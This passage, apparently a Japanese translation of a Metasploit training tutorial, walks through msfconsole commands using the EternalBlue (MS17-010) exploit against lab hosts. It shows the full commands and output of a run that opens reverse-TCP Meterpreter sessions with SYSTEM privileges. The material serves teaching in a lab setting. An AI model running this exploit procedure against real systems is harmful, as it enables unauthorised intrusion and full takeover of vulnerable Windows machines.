   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

これは、先に選択したエクスプロイトに関連するオプションを表示するものです。show optionsコマンドは、使用するコンテキストによって出力が異なります。上記の例では、このエクスプロイトではRHOSTSやRPORTなどの変数を設定する必要があることを示しています。

showコマンドは、モジュールの種類(auxiliary、payload、exploitなど)の後に続けて、利用可能なモジュールを一覧表示する任意のコンテキストで使用できます。以下の例では、ms17-010 Eternalblueエクスプロイトで使用できるペイロードを一覧表示しています。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                              .                normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                  .                normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                      .                normal  No     Generic Command Shell, Bind TCP Inline
  ・
  ・
  ・
   71  payload/windows/x64/vncinject/reverse_tcp_uuid      .                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   72  payload/windows/x64/vncinject/reverse_winhttp       .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   73  payload/windows/x64/vncinject/reverse_winhttps      .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

msfconsole プロンプトから使用すると、show コマンドはすべてのモジュールを一覧表示します。

これまで見てきたuseとshow optionsコマンドは、Metasploitのすべてのモジュールで同じです。

backコマンドを使えば、コンテキストから抜けることができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

モジュールの詳細情報は、そのモジュールのコンテキスト内でinfoコマンドをタイプすることで得られます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target
      1   Windows 7
      2   Windows Embedded Standard 7
      3   Windows Server 2008 R2
      4   Windows 8
      5   Windows 8.1
      6   Windows Server 2012
      7   Windows 10 Pro
      8   Windows 10 Enterprise Evaluation

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                            sing-metasploit.html
  RPORT          445              yes       The target port (TCP)
  SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Serv
                                            er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass                         no        (Optional) The password for the specified username
  SMBUser                         no        (Optional) The username to authenticate as
  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2
                                            008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Wi
                                            ndows 7, Windows Embedded Standard 7 target machines.

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit, part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time, and should be
  run continuously until triggered. It seems like the pool will get hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and crashes, such as a BSOD or
  a reboot. This may be more likely with some payloads.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://nvd.nist.gov/vuln/detail/CVE-2017-0145
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://nvd.nist.gov/vuln/detail/CVE-2017-0148
  https://github.com/RiskSense-Ops/MS17-010
  https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
  https://www.exploit-db.com/exploits/42030

Also known as:
  ETERNALBLUE


View the full module info with the info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

あるいは、msfconsoleのプロンプトから、infoコマンドの後にモジュールのパスを続けて使うこともできます(例:info exploit/windows/smb/ms17_010_eternalblue)。info はヘルプメニューではありません。作者や関連するソースなど、モジュールの詳細情報が表示されます。

検索

msfconsole で最も便利なコマンドのひとつに search があります。このコマンドは Metasploit Framework のデータベースから、指定された検索パラメータに関連するモジュールを検索します。CVE 番号、エクスプロイト名(eternalblue、heartbleed など)、ターゲットシステムを使用して検索を行うことができます。

msf6 > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 >

検索コマンドの出力は、返された各モジュールの概要を提供します。name "カラムに、モジュール名以上の情報がすでに示されていることにお気づきでしょう。モジュールのタイプ(auxiliary、exploitなど)や、モジュールのカテゴリ(scanner、admin、windows、Unixなど)がわかります。検索結果で返されたモジュールは、コマンド use の後に、結果の行の先頭に番号を付けて使用することができます。(例:use auxiliary/admin/smb/ms17_010_commandの代わりに0を使用)

タイプやプラットフォームなどのキーワードで検索機能を指示することもできます。

例えば、検索結果に補助モジュールだけを含めたい場合は、typeをauxiliaryに設定します。以下のスクリーンショットは、search type:auxiliary telnetコマンドの出力を示しています。


msf6 > search type:auxiliary telnet

Matching Modules
================

   #   Name                                                              Disclosure Date  Rank    Check  Description
   -   ----                                                              ---------------  ----    -----  -----------
   0   auxiliary/server/capture/telnet                                   .                normal  No     Authentication Capture:
 Telnet
   1   auxiliary/scanner/telnet/brocade_enable_login                     .                normal  No     Brocade Enable Login Check Scanner
   2   auxiliary/dos/cisco/ios_telnet_rocem                              2017-03-17       normal  No     Cisco IOS Telnet Denial of Service
   3   auxiliary/admin/http/dlink_dir_300_600_exec_noauth                2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   4   auxiliary/scanner/ssh/juniper_backdoor                            2015-12-20       normal  No     Juniper SSH Backdoor Scanner
   5   auxiliary/scanner/telnet/lantronix_telnet_password                .                normal  No     Lantronix Telnet Password Recovery
   6   auxiliary/scanner/telnet/lantronix_telnet_version                 .                normal  No     Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                      2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06       normal  Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset                     2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce   2021-04-21       normal  Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                         .                normal  No     RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                           2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   13  auxiliary/scanner/telnet/telnet_login                             .                normal  No     Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                           .                normal  No     Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                  .                normal  No     Telnet Service Encryption Key ID Overflow Detection


Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 >

エクスプロイトはターゲットシステムの脆弱性を利用するものであり、常に予期せぬ挙動を示す可能性があります。低ランクのエクスプロイトが完璧に動作することもあれば、優秀なランクのエクスプロイトが動作しなかったり、最悪ターゲットシステムをクラッシュさせたりすることもあります。

モジュールを使う

先ほど見たように、useコマンドにモジュール名を続けて使ってモジュールのコンテキストに入ったら、パラメータを設定する必要があります。最も一般的なパラメータを以下に示します。使用するモジュールによっては、追加または異なるパラメーターを設定する必要があることを忘れないでください。show optionsコマンドを使って、必要なパラメーターをリストアップするのがよい方法です。

すべてのパラメータは同じコマンド構文で設定されます:

set PARAMETER_NAME VALUE

先に進む前に、常にmsfconsoleプロンプトをチェックして、正しいコンテキストにいることを確認してください。Metasploitを扱うとき、5つの異なるプロンプトが表示されるかも しれません。

  • 通常のコマンドプロンプト: ここではMetasploitコマンドは使えません。

─$

  • msfconsole プロンプト: msf6 (インストールされているバージョンによっては msf5) が msfconsole プロンプトです。見てわかるように、ここではコンテキストが設定されていないので、パラメータを設定したりモジュールを実行したりするコンテキスト固有のコマンドはここでは使えません。

msf6 >

  • コンテキストプロンプト: モジュールの使用を決定し、set コマンドを使ってモジュールを選択すると、msfconsole はコンテキストを表示します。ここでコンテキスト固有のコマンド(例えば set RHOSTS 10.10.x.x)を使うことができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

  • Meterpreterプロンプト: 後程説明する重要なペイロードです。これは、Meterpreterエージェントがターゲットシステムにロードされ、接続されたことを意味します。ここではMeterpreter固有のコマンドを使うことができる。

meterpreter >

  • ターゲット・システム上のシェル: エクスプロイトが完了すると、ターゲット・システム上のコマンド・シェルにアクセスできるようになります。これは通常のコマンドラインであり、ここで入力されたコマンドはすべてターゲットシステム上で実行されます。

C:\Windows\system32>

前述したように、show optionsコマンドは利用可能なパラメーターをすべてリストアップします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

上のスクリーンショットにあるように、これらのパラメータの中には、エクスプロイトが機能するために値が必要なものがあります。いくつかの必要なパラメータ値は事前に入力されていますが、ターゲットに対してこれらが同じままであるべきかを確認してください。例えば、WebエクスプロイトではRPORT(リモートポート:Metasploitが接続を試み、エクスプロイトを実行するターゲットシステムのポート)の値が80にプリセットされている可能性がありますが、ターゲットのWebアプリケーションは8080ポートを使用している可能性があります。

この例では、setコマンドを使ってRHOSTSパラメーターにターゲット・システムのIPアドレスを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.165.39     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

パラメーターを設定したら、show optionsコマンドを使って、値が正しく設定されているか確認することができます。

よく使うパラメータは以下の通りです:

  • RHOSTS: "リモート・ホスト"、ターゲット・システムのIPアドレス。単一のIPアドレスまたはネットワーク範囲を設定できる。これは、CIDR(Classless Inter-Domain Routing)表記(/24、/16など)またはネットワーク範囲(10.10.10.x - 10.10.10.y)をサポートします。
  • RPORT: 「リモートポート」、脆弱なアプリケーションが実行されているターゲットシステム上のポート。
  • PAYLOAD: エクスプロイトで使用するペイロード。
  • LHOST:"Localhost"、攻撃マシン(Kali Linux)のIPアドレス。
  • LPORT: "ローカルポート"、リバースシェルが接続する際に使用するポート。これは攻撃しているマシンのポートで、他のアプリケーションに使われていない任意のポートに設定できます。
  • SESSION: Metasploit を使ってターゲットシステムに確立された各接続はセッション ID を持ちます。既存の接続を使用してターゲットシステムに接続するポストエクスプロイトモジュールでこれを使用します。
設定されたパラメータは、set コマンドを使って別の値で上書きすることができます。また、unset コマンドで任意のパラメータ値をクリアしたり、unset all コマンドですべての設定パラメータをクリアすることもできます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

setgコマンドを使えば、すべてのモジュールで使われる値を設定することができます。setgコマンドはsetコマンドと同じように使います。違うのは、set コマンドを使ってあるモジュールで値を設定した後、別のモジュールに切り替えた場合、再度値を設定する必要があるということです。setgコマンドは、異なるモジュール間でデフォルトで使用できるように値を設定することができます。setgで設定した値は、unsetgでクリアできます。

以下の例では、以下のフローを使用しています;

  1. ms17_010_eternalblueエクスプロイトを使用します。
  2. setコマンドの代わりにsetgコマンドを使用してRHOSTS変数を設定します。
  3. backコマンドを使用して、エクスプロイト・コンテキストから抜けます。
  4. 補助ツールを使用します(このモジュールはMS17-010の脆弱性を発見するためのスキャナーです)。
  5. show optionsコマンドは、RHOSTSパラメータにターゲット・システムのIPアドレスがすでに入力されていることを示しています。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                      Required  Description
   ----         ---------------                      --------  -----------
   CHECK_ARCH   true                                 no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                 no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/dat  yes       List of named pipes to check
                a/wordlists/named_pipes.txt
   RHOSTS       10.10.165.39                         yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                                               metasploit/basics/using-metasploit.html
   RPORT        445                                  yes       The SMB service port (TCP)
   SMBDomain    .                                    no        The Windows domain to use for authentication
   SMBPass                                           no        The password for the specified username
   SMBUser                                           no        The username to authenticate as
   THREADS      1                                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) >

setgコマンドは、Metasploitを終了するか、unsetgコマンドを使ってクリアするまで使用されるグローバルな値を設定します。

モジュールを使う

モジュールのパラメータをすべて設定したら、exploitコマンドを使ってモジュールを起動することができます。Metasploitはrunコマンドもサポートしていますが、これはexploitコマンドの別名で、exploitではないモジュール(ポートスキャナや脆弱性スキャナなど)を使うときにexploitという単語が意味をなさないために作られたものです。

exploitコマンドは、パラメータなしで使用することも、"-z "パラメータを使用して使用することもできます。

exploit -zコマンドは、セッションが開くとすぐにexploitを実行し、バックグラウンドにします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444 
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

これにより、エクスプロイトを実行したコンテキスト・プロンプトが返されます。

checkオプションをサポートしているモジュールもあります。これは、ターゲットシステムが脆弱かどうかを、エクスプロイトせずにチェックします。

セッション

脆弱性の悪用に成功すると、セッションが作成されます。これはターゲットシステムとMetasploitの間に確立された通信チャネルです。

セッションプロンプトをバックグラウンドにして msfconsole プロンプトに戻るには background コマンドを使用します。

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

また、CTRL+Z を使用してセッションをバックグラウンドにすることもできます。

sessions コマンドは msfconsole プロンプトまたは任意のコンテキストから使用でき、既存のセッションを確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 >

任意のセッションと対話するには、sessions -iコマンドの後に目的のセッション番号を続けます。

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >


出典:Metasploit: Introduction